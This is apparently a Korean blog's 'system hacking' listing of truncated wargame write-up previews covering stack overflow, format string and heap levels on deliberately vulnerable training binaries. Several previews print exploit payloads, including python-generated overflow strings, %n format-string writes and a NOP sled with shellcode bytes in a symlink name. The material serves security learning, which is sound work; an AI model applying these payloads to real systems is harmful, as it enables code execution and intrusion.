목록system hacking (69)
ii4gsp
#include #include #include #include #include struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f)..
ultra argv hunter라는게 추가 되었다 모든 매개변수를 0으로 초기화 하는 코드이다. tmp 디렉토리를 하나 만들어주고 skeleton파일을 복사해주자 tmp 디렉토리로 가서 gdb로 파일을 열어주고 분석해보자 프로그램이 종료 직전의 부분 을 break point를 걸어주고 메모리를 확인해보자 메모리의 끝부분에 파일의 주소가 있다. 파일이름을 쉘 코드로 작성된 심볼릭링크 파일을 만들면 된다. ln -s skeleton $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\..
#include #include #include #include int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); } exit() 함수를 hello() 함수로 바꿔줘야한다. exit()함수의 주소와 hello()함수의 주소를 구해주자 AAAA를 입력후 포맷 %08x로 값을 확인해보니 4번째 주소에 41414141이 있다. exit()함수의 주소와 hello..
#include #include #include #include int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 이번 문제의 힌트이다. objdump -t 명령으로 target의 주소를 찾아보자 target의 주소는 0x08049638이다. 포맷을 131번 출력하면 \x90 * 4의 90909090이 보인다. 페이로드는 target주소 + .%08x * 129 + .%08n + .%08x target의 값이 변경되어 "you have modified the ..
#include #include #include #include void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 앞에서 나온 Stack문제와 동일해서 딱히 설명할 부분이 없다. 버퍼에 64를 채우고 0xdeadbeef를 리틀 엔디언 방식으로 전달해주면 된다. ./format0 $(python -c 'print "\x90" * 64 + "\xe..
#include #include #include #include char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); } ret의 시작 주소가 b로 시작하면 안된다. ROP..
#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } ret를 win() 함수의 시작 주소로 조작해야한다. 스택이 0x50만큼 할당되었다 0x50은 10진수로 80이다 int argc, char **argv, char buffer[64] 3개의 변수 크기를 더하면 72이다 80 - 72 = 8 dummy는 8이다. 0x080483f4가 win() 함수의 시작 주소이다. 리틀 엔디언 방식으로 ret를 덮어주면 된다. 페이로드는 buffer[64byte] + dummy[8by..
#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } win() 함수를 호출시키는 문제이다. dummy가 없다는 가정하에 구조이다. "A"를 68번 입력하면 fp의 주소값이 0x41로 덮힌다. buffer 64byte를 채워주고 win() 함수의 시작주소로 덮어주면 win() 함수가..